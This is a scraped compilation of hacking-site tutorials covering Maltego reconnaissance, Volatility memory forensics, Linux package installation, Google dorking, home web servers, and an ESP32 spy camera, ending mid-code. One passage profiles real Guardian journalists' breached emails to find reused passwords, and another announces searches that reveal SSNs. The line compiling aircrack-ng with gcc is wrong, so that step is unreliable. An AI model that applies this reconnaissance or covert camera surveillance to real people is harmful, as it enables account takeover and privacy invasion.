source data like new media and get our own data with Maltego.Don't Miss:How to Use SpiderFoot for OSINT GatheringFirst, we'll need a sample of email addresses of Guardian employees. Since they're journalists, they'll probably be using PGP so sources can email them anonymously, but we'll try to find more employee emails to add too.Starting by dropping a web domain of "theguardian.com" into Maltego, right-mouse clicking and selecting the PGP transform gets us started with a list of employee emails found in the PGP keyserver.Now, we can select these emails all at the same time, and apply another transform to all of them. We'll run "HaveIBeenPwned" to find out if they were involved in any data breaches or any Pastebin dumps.Don't Miss:Scrape Target Email Addresses with TheHarvesterWe're in luck, as not only do we already have one breach, but several Pastebin dumps. Since we can see that several employee emails are included in the Pastebin dump, we can go to the link to discover if there might be more.Also See:Abusing DNS for ReconnaissanceIn this case, we are in luck again, since we found additional 90+ employee emails to add. We can simply paste them into Maltego, and Maltego will interpret the type of data and add them automatically.With these email addresses added, we can now run a transform against the entire sample to see if any have been involved in breaches, and see any patterns in the employees who were.It's also useful to expand the information on the data breaches we find, to learn what exactly the user lost in the breach. Doing so, we can even create lists of employees who were involved in breaches in which their passwords were leaked.Just like that, we can select only users who have lost passwords in the breach, meaning we can probably locate the data dumps in question on the internet to see the kinds of password the particular person likes to use. If we're really lucky, they may use the same password for many accounts.Don't Miss:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHow Can You Use Maltego?By knowing how to ask relevant and answerable questions, you can learn a tremendous amount of important and specific information about pretty much anything. The insight derived from open source investigations powers many of the business decisions made today, and you can benefit from the same kind of information by using these tools to better understand situations you need to make a decision about.We explored how you can start with a single web domain, and in a few clicks mine for more information and relationships inside the data you find to produce a better understanding of a situation. This core skill of recon can help us target and configure cyber weapons as hackers, or understand the institutions and people we want to work with to make negotiations go more smoothly. As with all powerful tools, Maltego is a double-edged sword.The power is in your hands, so use it wisely! Thanks for reading, you can leave any questions in the comments or on our Twitter, andsubscribe to our YouTube channelfor more videos!Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by Kody/Null ByteRelatedHow To:Use Maltego to Target Company Email Addresses That May Be Vulnerable from Third-Party BreachesHow To:Use Maltego to Fingerprint an Entire Network Using Only a Domain NameHow To:Use Maltego to Monitor Twitter for Disinformation CampaignsHack Like a Pro:How to Use Maltego to Do Network ReconnaissanceHow To:Add spreadsheet snippets in Microsoft Excel: Mac 2008Market Reality:Computer Vision Shown the MoneyHow To:Scrape Target Email Addresses with TheHarvesterNews:Reputable Analyst Predicts Apple's AR Ambitions Are Heading to CarsMarket Reality:Boeing HorizonX Takes Flight with AR InvestmentHow To:Use the Buscador OSINT VM for Conducting Online InvestigationsNews:Glowing Bacteria Can Help Locate Devastating Hidden Land MinesNews:Microsoft Opens Access to Sensor Data on the HoloLens with 'Research Mode' UpdateMarket Reality:Analysts Continue to Paint Rosy Picture for Augmented Reality IndustryRecon:How to Research a Person or Organization Using the Operative FrameworkNews:Facebook's Brain Control Interface Research Could Eventually Produce Thought-Controlled AR WearablesNews:Good Luck Getting the iPhone 8—Limited Quantities for SeptemberHow To:Find Identifying Information from a Phone Number Using OSINT ToolsNews:And the Company with the Million-Mile Lead for Machine Learning Is ...Market Reality:Business Interest High, Adoption Low for Augmented RealityNews:Why You're Probably Always Going to See Those Ugly Dome-Shaped LiDARs on Driverless Fleet CarsNews:Retailers Benefit from Augmented Reality in Operations & Online Sales Over In-Store Experiences, Research SaysMarket Reality:Outlook for Augmented & Mixed Reality Remains FavorableNews:The Government Is Stealing Your Data from Angry Birds, Candy Crush, Facebook, & Other Mobile AppsNews:DAQRI Expands to the Software Side of Enterprise AR with Worksense App SuiteDev Report:IBM & Unity Partner to Offer AI Tool That Could Make Augmented Reality Apps SmarterNews:Analyst Says Apple Can Take Driverless Lead from TeslaNews:Ford Pins Its Survival on Driverless with Its New CEO AppointmentNews:Google Introduces AI for Its Android Services That Learns from You Without Compromising PrivacyHow To:Keep Stroke Patients Active at Home w/ Wii FitHow To:A Hitchhiker's Guide to the Internet: A Brief History of How the Net Came to BeProjection Mapping Minecraft:Mining in the Real WorldHow To:An Exhaustive Guide to Mining and Resource Collection in MinecraftHow To:Mine Bitcoin and Make MoneyOmegaville research (aka:mgabrys' underground challenge submission)News:Capturing insights of introvertsNews:Russia threatens to strike NATO missile defense sitesNews:The Federal Government Is Spying on Every Single American, Say NSA WhistleblowersHow To:Shorten URLs from the Command Line with PythonNews:Finding Hidden Metadata in Images (Oh, the Possibilities)News:Minecraft World's Ultimate Survival Guide, Part 4
Hack Like a Pro: Digital Forensics for the Aspiring Hacker, Part 14 (Live Memory Forensics) « Null Byte :: WonderHowTo
Welcome back, my budding hackers!One of the most basic skills the forensic investigator must master is the acquisition of data in a forensically sound manner. If data is not captured in a forensically sound manner, it may not be admissible in court. In myKali Forensicsseries, I showed youhow to acquire a forensically sound, bit-by-bit image of a storage devicesuch as a hard drive or flash drive, but now let's dive into live memory.Why Capture Live Memory?In some cases, the forensic investigator will need to grab an image of the live memory. Remember, RAM is volatile and once the system is turned off, any information in RAM will be lost. This information may include passwords, processes running, sockets open, clipboard contents, etc. All of this information must be captured before powering down the system or transporting it.In addition, many hard drives are encrypted with such things asTrueCryptand the password resides in RAM. If the hard drive is encrypted, then capturing volatile data is even more crucial as the hard drive information may be unavailable to the forensic investigator without it.There are many tools for capturing data from memory, but one company, AccessData, has been providing their FTK (Forensic Tool Kit) Imager for years for free and, as a result, it has become the de facto standard in image capturing. You candownload the FTK Imager here.Step 1: Using the FTK Imager to Capture MemoryOnce we have downloaded and installed FTK Imager, we should be greeted by a screen like that below.Next, click on the "File" pulldown menu and go to the "Capture Memory" selection.It will open a window like that below. You will have to select where to store your memory dump, what to call the file, whether you want to include the page file (virtual memory), and whether you want to create an AD1 file (AccessData's proprietary data type).In my case, I created a directory called "memory dumps," named the file memdump.mem, included the virtual memory or pagefile, but did not create an AD1 file. I recommend you do something similar.When you completed each of these, click the "Capture Memory" button.This will start a window that will track the progress of your capture. If the system has a lot of memory, that could take awhile.Step 2: Volatility Memory Analysis ToolAnalyzing a memory capture is a bit different from a hard drive analysis. One of the beauties of memory analysis is the ability to actually recreate what the suspect was doing at the time of the system capture.Among the most widely used tools for memory analysis is the open-source tool appropriately namedVolatility. It is built into Kali Linux, so there's no need to download it. Simply transfer the memory image you captured to your Kali machine and we can begin our analysis.If you aren't using Kali, you can download Volatilityhere. It has been ported for Window, Linux, and Mac OS X, so it will work on nearly any platform.Step 3: Using Volatility for AnalysisTo use Volatility, navigate to/usr/share/volatility.kali > cd /usr/share/volatilitySince Volatility is a python script, you will need to preface the command with the keywordpython. To view the help page, type:kali > python vol.py -hThis will display a long list a command options.And plugins.Before we can do any work on this memory image, we first need to get the profile of the image. This will retrieve key information from the image. This profile will then help volatility to determine where in the memory capture key information resides as each operating system places information in different address spaces.To get the profile, type:kali > python vol.py imageinfo -f /location of your imagefileFor instance, I put my image on my desktop, so my command would be:kali > python vol.py imageinfo -f /root/Desktop/memdump.memThis command will examine the memory file for evidence of the operating system and other key information.As you can see in the screenshot above, Volatility identified the OS as Win7SP0x64 (Windows 7, no service pack, 64-bit). It also identifies AS layer1 and 2, the number of processors, the service pack, and the physical address space for each processor, among many other things.Step 4: Using the ProfileNow that we have recovered the profile of this memory dump, we can begin to use some of the other functionality of Volatility. For instance, if we wanted to list the registry hives including SAM, we could use thehiveinfoplugin by typing:kali > python vol.py --profile Win7SP1x64 hiveinfo -f /locationof your image/Note that Volatility was able to list all of the hives including their virtual and physical location in RAM.Volatility is a powerful memory analysis tool with tens of plugins that enable us to find evidence of what the suspect was doing at the time of computer seizure. In future tutorials, I will show you more of the multitude of uses of this tool and how we can use it to find evidence of the activities of the suspect. So keep coming back, my budding hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)How To:Become a Computer Forensics Pro with This $29 TrainingHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 5 (Windows Registry Forensics)News:Why YOU Should Study Digital ForensicsHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 6 (Using IDA Pro)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 11 (Using Splunk)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Digital Forensics Using Kali, Part 1 (The Tools of a Forensic Investigator)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 15 (Parsing Out Key Info from Memory)News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 2 (Network Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 8 (More Windows Registry Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 12 (Windows Prefetch Files)SPLOIT:Forensics with Metasploit ~ ( Recovering Deleted Files )Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 7 (Windows Sysinternals)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 9 (Finding Storage Device Artifacts in the Registry)News:Airline Offers Frequent Flyer Miles to HackersHack Like a Pro:Digital Forensics Using Kali, Part 2 (Acquiring a Hard Drive Image for Analysis)How To:Why You Should Study to Be a HackerNews:What to Expect from Null Byte in 2015Hack Like a Pro:Digital Forensics Using Kali, Part 3 (Creating Cases in Autopsy & Sleuth Kit)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 16 (Extracting EXIF Data from Image Files)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 4 (Evading Detection While DoSing)News:Sneaky! WhatsApp Adds Encryption to iCloud Backups on the SlyNews:Becoming a HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Getting Started with BackTrack, Your New Hacking SystemHow To:Recover deleted text messages on an iPhoneHacking Windows 10:How to Find Sensitive & 'Deleted' Files RemotelyHack Like a Pro:How to Hack Facebook (Facebook Password Extractor)How To:Edit Super Mario World levels with Lunar MagicHow To:Don't Get Caught! How to Protect Your Hard Drives from Data ForensicsGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking Simulations
Hack Like a Pro: Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software) « Null Byte :: WonderHowTo
Welcome back, my hacker wannabees!Since nearly all hacker tools and platforms are developed in the Linux/Unix operating systems,this seriesof tutorials are for those of you who want to be hackers, but are unfamiliar with Linux.We've looked at numerous basic commands in the first few tutorials, but here I want to focus on installing new software in Linux, and especially inBackTrack.Image viawonderhowto.comBackTrack v5r3was built on Ubuntu, which is a type of Debian Linux. That's important because different Linux systems use different methods for package management (package management means downloading and installing new software packages).Before we dive in, make sure to check outmy previous guides on Linux basicsto get current on our lessons.Step 1: Using the GUI Package ManagerThe simplest way to install software on BackTrack is to use the GUI package manager. In my KDE-based BackTrack 5, the GUI package manager is calledKPackageKit(some of you may haveSynaptic).These package managers enable us find packages, download them, and install them on our system. We can open KPackageKit by navigating toSystemand thenKPackageKitas shown in the screenshot below.When open, you simply put the name into search field. It will then retrieve all the options fulfilling the criteria of your search, then just click on the icon next to the package you want to download.In this example, we will be looking for the wireless hacking software,aircrack-ng.Note that if the package is already installed, there will be anXnext to it. If not, there will be a downward-pointing arrow. Click on the arrow and then click on theAPPLYbutton below.Step 2: Updating Your RepositoriesPackage managers search in specified repositories (websites housing packages) for the package you are seeking. If you get a message that the package was not found, it doesn't necessarily mean that it doesn't exist, but simply that it's not in the repositories your OS is searching.BackTrack defaults to searching inbacktrack-linux.orgwhere many hacking tools are available. Unfortunately, if you are looking for something that is not a hacking tool or a new hacking tool that BackTrack hasn't yet placed in its repository, you may have to revise where your operating system searching for packages.This can be done by editing the/etc/apt/sources.listfile. Let's open it withKWriteand take a look.As you can see, BackTrack has three default sources on itssources.list, all pointing to BackTrack repositories. We can add any repository with Linux software to this list, but since BackTrack is a Ubuntu distribution, we might want to add an Ubuntu repository to this list to download and install Ubuntu software. We can do this by adding a single line to this file:debhttp://archive.ubuntu.org/ubuntulucid main restrictedNow when I use my package manager, it will search the three BackTrack repositories first, and if it fails to find the package in any of those places, it will then search for it in the Ubuntu repository.Step 3: Command Line Package ManagementUbuntu also has a command line package manager calledapt. The basic syntax for using apt to download packages is:apt-get install aircrack-ngSo, let's open a terminal and type the above command to installaircrack-ng(of course, we just need to replace the name of the package to install other software).If the package is in one of our repositories, it will download it and any of the necessary dependencies (files that the package need to run properly), and install it on your system automatically.Step 4: Installing from SourceFinally, sometimes you will need to download software that is neither in a repository, nor in a package. Most often these are archived astarortarballs. These are files that are "tarred" together into a single file and often compressed (similar to zipping files with WinZip and then putting them together into a .zip file).Let's say thataircrack-ngwas not in our repository (some software never finds its way into a repository) and we had to download it fromaircrack-ng.orgwebsite. We could download the fileaircrack-ng-1.2-beta1.tar.Once we've downlaoded it, then we need to untar it using thetarcommand:tar xvf aircrack-ng-1.2-beta1.tarThis will untar and uncompress it, if it's compressed. Next we need to compile it with the GNU compiler. Compiling from source code will give us binaries (the program files) that are optimized for our hardware and operating system, meaning they will often run faster and more efficiently. We can compile this source code by typing:gcc aircrack-ngFinally, we can now run this file from within the directory where we unzipped it:./aircrack-ngNote that to run the file, we preceded it with the./, which tells Linux to execute this file from the directory we are presently in, so make certain you run this command in the same directory that you compiled the source code in.That should cover all the major ways of installing software and I hope it wasn't too confusing. In most cases, we can simply use the GUI based package manager to install software, but like all things in life, there are exceptions.In my next tutorial, we'll be looking at networking Linux using BackTrack. If you haven't already, make sure to check out thefirst four partsof this series, and if you have any questions, ask away in the comments below or hit up theNull Byte forumfor more help.Blue penguin photoby Joe ShlabotnikWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)How to Hack Like a Pro:Getting Started with MetasploitHow To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)News:What to Expect from Null Byte in 2015Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 4 (Finding Files)Hack Like a Pro:Windows CMD Remote Commands for the Aspiring Hacker, Part 1Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 24 (The Linux Philosophy)Hack Like a Pro:Python Scripting for the Aspiring Hacker, Part 1How To:Simplify Payload Creation with MSFPC (MSFvenom Payload Creator)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 9 (Managing Environmental Variables)Hack Like a Pro:How to Install BackTrack 5 (With Metasploit) as a Dual Boot Hacking SystemGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHow To:How Hackers Take Your Encrypted Passwords & Crack ThemCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingHow To:Use Cygwin to Run Linux Apps on WindowsCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingTHE FILM LAB:Non-Linear Editing Basics, Final Cut Pro - Part 01Goodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingNews:Let Me Introduce MyselfHow To:Hack Wireless Router Passwords & Networks Using HydraGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker Training
Hugging the Web (Part 1: Introduction) « Null Byte :: WonderHowTo
Greetings, hackers and friends! I know it has been a while since I posted a tutorial, and hopefully I can make up for that by posting a series.At this point many of you may be asking, "What the heck does it mean to hug the web?" Don't be discouraged, as this is not a hacking term that you have been missing out on. Hugging the web simply means using search engines like Google to find vulnerable servers, documents containing sensitive information, and sometimes just day to day recourses like a recipe for tomato soup.Image vialicdn.comTerminologyBefore I begin this series there are some terms that you might here me say that you should know. Here is a brief list of them:Google Dork - The correct term is "Google Operator" and is a built in function from google to limit searches to specific results. For instance, Googling "'The science of apples'" is much different from googling "'The Science of Apples' Filetype:pdf"Gov Domain - This is a term I use for any domain that ends in ".gov". These domains can be automatically assumed to be owned by a government facility.SSN - This stands for social security number. You will see in later tutorials how a single google dork can pull up many social security numbers.What You'll SeeIn this series you will learn how to do many different things through searching the web. Here is a list of some ideas that I'd like to go over. If you have any other ideas, post them in the comments and I'll be sure to update this post.Use Google to find vulnerable websites.Use Google to find open web cameras on the internetFind free books and resources with GoogleDo background checks by searching through different search enginesReveal social security numbers by uncovering sensitive documentsFind out if you are being leaked onlineConclusionHopefully this series will go as smoothly as I planned. Please be sure to give me any criticism, and if you have a problem withanything, feel free to comment on one of my posts or private message me.Can't wait to see how this plays out!CameronWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Yo yo the hugs trickHow To:Escape a rear bear hug with Jiu JitsuHow To:Hug a girl to show her how you feel about herHugging the Web (Part 2:Surveillance Takeover)How To:Make a scallop hugs box with Stampin' Up!How To:Craft a "Hugs and Kisses" chubby bird cardHow To:Draft/Make Patterns in Different Sizes (Pattern Making of a Basic Dress with Waistline)How To:Find 24 M-COM Stations in Battlefield: Bad Company 2Hugging the Web (Part 3:The Google Bloodhound)How To:Manage Layers Brief IntroductionHow To:Warm up for basketball with knee hugsHow To:Make a spring flower pop-up cardHow To:Make 15mm scale miniaturesHow To:Access Deep WebHow To:for HTML Structure - Opening and Closing TagsNews:How-to Design Amazing Web Pages Using Basic HTMLHow To:Dress an hourglass figureHow To:Create and apply text to a path in Adobe Photoshop CS5News:Google's New Assistant Lets You Have Conversations with the InternetHow To:Make an adorable hugable polar bear cupcakeHow To:Look like you've lost weight by dressing slimmerWorst Ref Ever:Coulibaly KomanNews:grannypantieHow To:Give a man to man hugNews:Are u depressed?News:Poo pranksNews:Jim Winter - Palmistry - FINGERS - Pt2News:Socks, Inc. One-Ups LittleBigPlanet by Using Real Sock PuppetsNews:The Old PervertNews:Learn Tagalog Today Episode 4,Introductions !News:Lighting and Tech BooksNews:The Griswold JumpNews:Welcome to Mad Science! Evil Experiments for Scientific Thrill SeekersHow To:Do the beginner pilates move the Double Leg StretchHow To:Avoid a trapped arm while cuddling in bedNews:A Simple TNT Pressure Plate Trap That Actually Works!How To:Sneak Past Web Filters and Proxy Blockers with Google TranslateAtomic Web:The BEST Web Browser for iOS DevicesHow To:Make the Most Out of Your Google+ ProfileNews:Introduction to Java
How to Run a Free Web Server From Home on Windows or Linux with Apache « Null Byte :: WonderHowTo
Paying for web hosting isn't ideal in most situations. If you have your own website, hosting it yourself is very acceptable and easy to do, assuming your internet bandwidth permits. Most people want to run a personal site, nothing crazy, so hosting from home on low-bandwidth internet is actually a better solution in most cases.In thisNull Byte, I'm going to show you how to set up your own web server from home using the free Apache web server. You can be running Windows or Linux, because I will be covering them both!RequirementsA website to host (for testing purposes, not really needed if you just want to learn)Windows or LinuxStep1Enable Port ForwardingFirst, let's set up port forwarding so that you can access your website from an external network.ClickStart.In the search, typecmdand hitEnter. In the prompt, typeipconfig, and it will list your default gateway and IP address. Take note of both.Type192.168.1.1or the gateway you got from the previous step into the address bar of your internet browser.Log into your wireless router. Default username and passwords are usuallyadmin:password.ClickPort Forwardingsomewhere on the page. All of them look different, but here is how mine looked:ClickPort Forwardingon the router page.Set the host to your computer's IP address that we noted, and the port to80.Go toWhat Is My IP Addressand write down your IP. You will need this for reference later, as well as during the Windows install of Apache.Step2Register with DynDNSDynDNSwill allow us to have a domain to visit and remember for our webserver, rather than remembering our dynamic IP all of the time. Simply sign up for the service and fill in your IP, it's really straightforward.Step3Install the Apache Web ServerFollow the instruction set that corresponds to your platform.WindowsDownloadthe latest release of the Apache web server with an.msiextension.Run the installer.When presented with the option, make sure to install the Apache service.Open a command prompt and navigate to the Apachebindirectory underC:\Program Files\Apache Group.Run the service.httpd -k startLinuxRun your package manager and install Apache. I run Arch, so here was what I input:sudo pacman -S apacheRun the service.sudo rc.d start apacheVisit192.168.1.1to see the Apache test page.To add your website to your server, just put the files in/srv/www/.There you have it. Better than paying hosting for terrible service! You will also have complete control over your website, so it really benefits in the long run.Be a Part of Null Byte!Post to theforumsChat onIRCFollow onTwitterCircle onGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viadatacenterknowledgeRelatedHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)How To:Linux Basics for the Aspiring Hacker: Configuring ApacheHack Like a Pro:Windows CMD Remote Commands for the Aspiring Hacker, Part 1How To:Turn a Pogoplug into a cheap Linux-based server with Apache, MySQL, and PHPHack Like a Pro:How to Use PowerSploit, Part 1 (Evading Antivirus Software)PHP for Hackers:Part 1, Introduction and Setting UpHack Like a Pro:How to Fingerprint Web Servers Using HttprintHow To:Turn a Microsoft Windows PC into a web server with XAMPPHack Like a Pro:How to Use Netcat, the Swiss Army Knife of Hacking ToolsHow To:Exploit Shellshock on a Web Server Using MetasploitHow to Hack Like a Pro:Getting Started with MetasploitHow To:Build a free SSL VPN on Linux or WindowsHow To:Exploit PHP File Inclusion in Web AppsHack Like a Pro:How to Spoof DNS on a LAN to Redirect Traffic to Your Fake WebsiteHack Like a Pro:How to Hack Web Apps, Part 7 (Finding Hidden Objects with DIRB)How To:Install Joomla 1.5 on Windows with an Apache ServerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)How To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesNews:Catch Creeps and Thieves in Action: Set Up a Motion-Activated Webcam DVR in LinuxHow To:Turn Your House Lights On & Off Using the InternetHow To:Use Cygwin to Run Linux Apps on WindowsHow To:Stream Media to a PS3 or Xbox 360 from Mac & Linux ComputersHow To:Run Windows from Inside LinuxWeekend Homework:How to Become a Null Byte Contributor (3/2/2012)Hack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:Remotely Control Computers Over VNC Securely with SSHGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingHow To:Recover Deleted Files in LinuxHow To:Run an FTP Server from Home with LinuxHow To:Create an SSH Tunnel Server and Client in LinuxHow To:Scan for Viruses in Windows Using a Linux Live CD/USB
How to Set Up a Wi-Fi Spy Camera with an ESP32-CAM « Null Byte :: WonderHowTo
TheESP32-CAMis a convenient little camera module with a lot of built-in power, and you can turn one into an inconspicuous spy camera to hide in any room. There's only one issue: it does omit a USB port. That makes it a little harder to program, but with an ESP32-based board, FTDI programmer, and some jumper wires, you'll have a programmed ESP32 Wi-Fi spy camera in no time.To build the program for the spy camera, which includes facial detection and recognition, we'll be using Arduino IDE, and to flash the program over to the ESP32-CAM, we'll need the FTDI programmer and either male-to-mail jumper wires and a breadboard or female-to-female jumpers. If you want to power the board independently after it's been programmed, you can add a LiPo battery board meant for a D1 mini, which will let you add a rechargeable LiPo battery.Don't Miss:Null Byte's Hacker Guide to Buying an ESP32 Camera Module That's Right for Your ProjectParts NeededThis is the basic stuff you need to continue with this project:ESP32-CAM Camera Module with FTDI USB to TTL Serial Converter($12.89)D1 Mini Battery Shield with Charging Module($8.99)3.7 V 500 mAh LiPo Battery($9.20)Solderless Breadboard($8.99)Jumper Wires($5.99)Mini-USB Cable($6.81)Arduino IDE Software(free)Note that the battery required can be a different size if needed.Step 1: Set Up the Camera in Arduino IDEIn the Arduino IDE, navigate to "Arduino" or "File" in the menu bar, select "Preferences," then click the window icon next to "Additional Boards Manager URLs." On a separate line, add the following URL, then choose "OK" and "OK" again.https://dl.espressif.com/dl/package_esp32_index.jsonNext, in the menu bar, go to "Tools," then "Board," and then "Boards Manager." In the search field, type "esp32," then install the latest version of "esp32 by Espressif Systems."Other Projects That Use This Board:Enable Offline Chat Communications Over Wi-Fi with an ESP32Step 2: Open the Default Camera SketchGo to "Tools" again in the menu bar, choose "Board," then select "AI Thinker ESP32-CAM" under the "ESP32 Arduino" section. With that board selected, go to File –> Examples –> ESP32 –> Camera –> CameraWebServer. This will open the sketch, and you'll see the following code.#include "esp_camera.h" #include <WiFi.h> // // WARNING!!! PSRAM IC required for UXGA resolution and high JPEG quality // Ensure ESP32 Wrover Module or other board with PSRAM is selected // Partial images will be transmitted if image exceeds buffer size // // Select camera model #define CAMERA_MODEL_WROVER_KIT // Has PSRAM //#define CAMERA_MODEL_ESP_EYE // Has PSRAM //#define CAMERA_MODEL_M5STACK_PSRAM // Has PSRAM //#define CAMERA_MODEL_M5STACK_V2_PSRAM // M5Camera version B Has PSRAM //#define CAMERA_MODEL_M5STACK_WIDE // Has PSRAM //#define CAMERA_MODEL_M5STACK_ESP32CAM // No PSRAM //#define CAMERA_MODEL_AI_THINKER // Has PSRAM //#define CAMERA_MODEL_TTGO_T_JOURNAL // No PSRAM #include "camera_pins.h" const char* ssid = "*********"; const char* password = "*********"; void startCameraServer(); void setup() { Serial.begin(115200); Serial.setDebugOutput(true); Serial.println(); camera_config_t config; config.ledc_channel = LEDC_CHANNEL_0; config.ledc_timer = LEDC_TIMER_0; config.pin_d0 = Y2_GPIO_NUM; config.pin_d1 = Y3_GPIO_NUM; config.pin_d2 = Y4_GPIO_NUM; config.pin_d3 = Y5_GPIO_NUM; config.pin_d4 = Y6_GPIO_NUM; config.pin_d5 = Y7_GPIO_NUM; config.pin_d6 = Y8_GPIO_NUM; config.pin_d7 = Y9_GPIO_NUM; config.pin_xclk = XCLK_GPIO_NUM; config.pin_pclk = PCLK_GPIO_NUM; config.pin_vsync = VSYNC_GPIO_NUM; config.pin_href = HREF_GPIO_NUM; config.pin_sscb_sda = SIOD_GPIO_NUM; config.pin_sscb_scl = SIOC_GPIO_NUM; config.pin_pwdn = PWDN_GPIO_NUM; config.pin_reset = RESET_GPIO_NUM; config.xclk_freq_hz = 20000000; config.pixel_format = PIXFORMAT_JPEG; // if PSRAM IC present, init with UXGA resolution and higher JPEG quality // for larger pre-allocated frame buffer. if(psramFound()){ config.frame_size = FRAMESIZE_UXGA; config.jpeg_quality = 10; config.fb_count = 2; } else { config.frame_size = FRAMESIZE_SVGA; config.jpeg_quality = 12; config.fb_count = 1; } #if defined(CAMERA_MODEL_ESP_EYE) pinMode(13, INPUT_PULLUP); pinMode(14, INPUT_PULLUP); #endif // camera init esp_err_t err = esp_camera_init(&config); if (err != ESP_OK) { Serial.printf("Camera init failed with error 0x%x", err); return; } sensor_t * s = esp_camera_sensor_get(); // initial sensors are flipped vertically and colors are a bit saturated if (s->id.PID == OV3660_PID) { s->set_vflip(s, 1); // flip it back s->set_brightness(s, 1); // up the brightness just a bit s->set_saturation(s, -2); // lower the saturation } // drop down frame size for higher initial frame rate s->set_framesize(s, FRAMESIZE_QVGA); #if defined(CAMERA_MODEL_M5STACK_WIDE) || defined(CAMERA_MODEL_M5STACK_ESP32CAM) s->set_vflip(s, 1); s->set_hmirror(s, 1); #endif WiFi.begin(ssid, password); while (WiFi.status() != 